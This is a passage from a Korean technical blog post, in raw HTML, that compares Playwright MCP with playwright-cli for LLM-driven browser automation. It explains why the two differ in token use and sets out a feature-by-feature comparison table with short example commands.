&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 14px; border-radius: 6px; font-family: monospace; font-size: 12px;&quot;&gt;&lt;span&gt;LLM (Claude Code) ↕ Bash&lt;span class=&quot;hljs-built_in&quot;&gt; tool &lt;/span&gt;(shell 명령어) playwright-cli subprocess (호출 단위 독립, stateless) &amp;rarr; Playwright API &amp;rarr; Chromium [결과] 파일에 저장 &amp;rarr; 경로만 반환 &amp;rarr; 수십 토큰 소모 &amp;rarr; 필요 시에만 파일 Read&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;이것이 토큰 소모 차이의 근본 원인이다&lt;/b&gt;&lt;br /&gt;MCP는 &lt;code&gt;tools/call&lt;/code&gt; 응답의 &lt;code&gt;content&lt;/code&gt; 필드로 접근성 스냅샷(수천 토큰 분량의 텍스트)이나 스크린샷(base64 이미지)을 &lt;b&gt;LLM context window에 직접 삽입&lt;/b&gt;한다. playwright-cli는 결과를 파일로 저장하고 경로 한 줄만 반환하므로 컨텍스트 소모가 최소화된다. 커뮤니티 벤치마크(testcollab.com, 2026-02 기준)에서는 세션당 약 4배 차이가 측정된 사례가 있으나, 정확한 배수는 페이지 복잡도&amp;middot;작업 종류에 따라 다를 수 있다. 이 차이는 MCP 스펙의 구조적 특성에서 비롯된 것이지, 구현의 문제가 아니다.&lt;/div&gt;
&lt;!-- 3. 전체 비교표 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 한눈에 보는 전체 비교표&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;30개 이상의 기능 항목을 직접 비교했다. 우위 컬럼의 색상 배지를 기준으로 빠르게 판단할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef; overflow-x: auto;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 13px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 10px 12px; text-align: left; border: 1px solid #4a6a8a; min-width: 160px;&quot;&gt;기능&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; text-align: center; border: 1px solid #4a6a8a; min-width: 120px;&quot;&gt;Playwright MCP&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; text-align: center; border: 1px solid #4a6a8a; min-width: 130px;&quot;&gt;playwright-cli&lt;/th&gt;
&lt;th style=&quot;padding: 10px 12px; text-align: center; border: 1px solid #4a6a8a; min-width: 80px;&quot;&gt;우위&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #eaf3ff;&quot;&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dee2e6; font-weight: bold; color: #1a3a52; font-size: 12px; text-transform: uppercase; letter-spacing: 0.5px;&quot; colspan=&quot;4&quot;&gt;기본 설정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;설치 방법&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;MCP 서버 별도 설치&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;npm install -g @playwright/cli&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #6c757d; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;동등&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;도구/명령어 수&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;~22개 Core Tool (opt-in 포함 35+)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;50+ 명령어&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #28a745; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;CLI&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;Claude Desktop 호환&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;지원&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;미지원&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;MCP&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;토큰 효율&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;접근성 트리 매번 컨텍스트 포함&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;결과를 디스크에 저장, 컨텍스트 최소화&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #28a745; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;CLI&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #eaf3ff;&quot;&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dee2e6; font-weight: bold; color: #1a3a52; font-size: 12px; text-transform: uppercase; letter-spacing: 0.5px;&quot; colspan=&quot;4&quot;&gt;네비게이션 &amp;amp; 기본 조작&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;URL 이동&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;browser_navigate&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;goto 명령&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #6c757d; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;동등&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;앞으로/뒤로 가기&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;browser_navigate_back (back만 지원, forward 없음)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;go-back / go-forward&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #28a745; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;CLI&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;페이지 새로고침&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;없음&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;reload 명령&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #28a745; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;CLI&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;스크린샷&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;browser_take_screenshot (인라인)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;screenshot (파일 저장)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #6c757d; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;동등&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;PDF 저장&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;browser_pdf_save (--caps=pdf 필요)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;pdf 명령&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #6c757d; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;동등&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #eaf3ff;&quot;&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dee2e6; font-weight: bold; color: #1a3a52; font-size: 12px; text-transform: uppercase; letter-spacing: 0.5px;&quot; colspan=&quot;4&quot;&gt;상호작용 &amp;amp; 폼 제어&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;클릭&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;browser_click&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;click 명령&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #6c757d; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;동등&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;텍스트 입력&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;browser_type / browser_fill_form&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;type / fill 명령&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #6c757d; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;동등&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;드래그 &amp;amp; 드롭&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;browser_drag (Core 기능)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;drag 명령&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #6c757d; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;동등&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;파일 업로드&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;browser_file_upload (Core 기능)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;upload 명령&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #6c757d; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;동등&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;체크박스 제어&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;없음&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;check / uncheck&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #28a745; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;CLI&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;마우스 정밀 제어 (좌표)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;--caps=vision opt-in 필요: browser_mouse_click_xy 등&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;mousemove / mousedown / mouseup (기본 지원)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #28a745; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;CLI&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;드롭다운 선택&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;browser_select_option&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;select 명령&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #6c757d; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;동등&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #eaf3ff;&quot;&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dee2e6; font-weight: bold; color: #1a3a52; font-size: 12px; text-transform: uppercase; letter-spacing: 0.5px;&quot; colspan=&quot;4&quot;&gt;고급 기능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;네트워크 모킹/인터셉트&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;미지원&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;route / unroute&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #28a745; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;CLI&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;쿠키 관리&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;미지원&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;cookie-list / cookie-set / cookie-delete&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #28a745; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;CLI&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;로컬 스토리지&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;미지원&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;localstorage-list / localstorage-set / localstorage-clear&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #28a745; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;CLI&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;세션 저장/불러오기&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;--storage-state 플래그 (정적 주입)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;state-save / state-load (동적)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #28a745; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;CLI&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;네임드 세션&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;미지원&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;-s=name 옵션&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #28a745; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;CLI&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;트레이싱 (trace)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;--save-trace 플래그 (세션 전체)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;tracing-start / tracing-stop (구간별)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #28a745; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;CLI&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;비디오 녹화&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;--save-video 플래그 (세션 전체)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;video-start / video-stop (구간별)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #28a745; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;CLI&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;테스트 코드 자동 생성&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;미지원&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;npx playwright codegen (@playwright/test)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #28a745; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;CLI&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #eaf3ff;&quot;&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dee2e6; font-weight: bold; color: #1a3a52; font-size: 12px; text-transform: uppercase; letter-spacing: 0.5px;&quot; colspan=&quot;4&quot;&gt;Vision &amp;amp; 시각적 기능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;Vision 모드 (스크린샷 기반 좌표 클릭)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;--caps vision&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;미지원&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;MCP&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;Canvas / WebGL 앱 조작&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;Vision 모드로 가능&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;접근성 트리 없으면 어려움&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;MCP&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;접근성 트리 분석&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;browser_snapshot (자동)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;snapshot 명령&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #6c757d; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;동등&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;표 읽는 법&lt;/b&gt;&lt;br /&gt;표시는 MCP에서 부분적으로 지원되나 CLI보다 제한적임을 뜻한다 (세션 전체 단위 vs 구간별 제어). 항목 수만 보고 playwright-cli가 무조건 좋다고 판단하지 말자. &lt;b&gt;자신의 워크플로우에서 실제로 필요한 기능이 무엇인지&lt;/b&gt;를 기준으로 판단하는 것이 중요하다.&lt;/div&gt;
&lt;!-- 3. 기능별 상세 비교 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 기능별 상세 비교&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4-1. 네비게이션 &amp;amp; 기본 조작 &amp;mdash; 동등&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;기본 브라우저 조작은 양쪽 모두 가능하다. 문법만 다를 뿐 결과는 동일하다.&lt;/p&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 13px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%; padding: 8px; vertical-align: top;&quot;&gt;&lt;span&gt;Playwright MCP&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 16px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; border: 1px solid #333;&quot;&gt;&lt;span&gt;# &lt;span class=&quot;hljs-selector-tag&quot;&gt;MCP&lt;/span&gt; &lt;span class=&quot;hljs-selector-tag&quot;&gt;Tool&lt;/span&gt; 호출 &lt;span class=&quot;hljs-selector-tag&quot;&gt;browser_navigate&lt;/span&gt;({ &lt;span class=&quot;hljs-attribute&quot;&gt;url&lt;/span&gt;: &lt;span class=&quot;hljs-string&quot;&gt;&quot;https://example.com&quot;&lt;/span&gt; }) &lt;span class=&quot;hljs-selector-tag&quot;&gt;browser_snapshot&lt;/span&gt;() &lt;span class=&quot;hljs-selector-tag&quot;&gt;browser_click&lt;/span&gt;({ &lt;span class=&quot;hljs-attribute&quot;&gt;ref&lt;/span&gt;: &lt;span class=&quot;hljs-string&quot;&gt;&quot;e5&quot;&lt;/span&gt; }) &lt;span class=&quot;hljs-selector-tag&quot;&gt;browser_type&lt;/span&gt;({ &lt;span class=&quot;hljs-attribute&quot;&gt;ref&lt;/span&gt;: &lt;span class=&quot;hljs-string&quot;&gt;&quot;e3&quot;&lt;/span&gt;, text: &lt;span class=&quot;hljs-string&quot;&gt;&quot;hello&quot;&lt;/span&gt; })&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;width: 50%; padding: 8px; vertical-align: top;&quot;&gt;&lt;span&gt;playwright-cli (Claude Code 내부 명령어)&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 16px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; border: 1px solid #333;&quot;&gt;&lt;span&gt;&lt;span class=&quot;hljs-comment&quot;&gt;# playwright-cli 명령어 (snapshot &amp;rarr; ref 기반)&lt;/span&gt; playwright-cli&lt;span class=&quot;hljs-built_in&quot;&gt; goto &lt;/span&gt;https://example.com playwright-cli snapshot &lt;span class=&quot;hljs-comment&quot;&gt;# 접근성 트리 조회 &amp;rarr; ref 번호 확인&lt;/span&gt; playwright-cli click e5 &lt;span class=&quot;hljs-comment&quot;&gt;# ref 번호로 클릭&lt;/span&gt; playwright-cli&lt;span class=&quot;hljs-built_in&quot;&gt; fill &lt;/span&gt;e3 &lt;span class=&quot;hljs-string&quot;&gt;&quot;hello&quot;&lt;/span&gt; &lt;span class=&quot;hljs-comment&quot;&gt;# fill &amp;lt;ref&amp;gt; 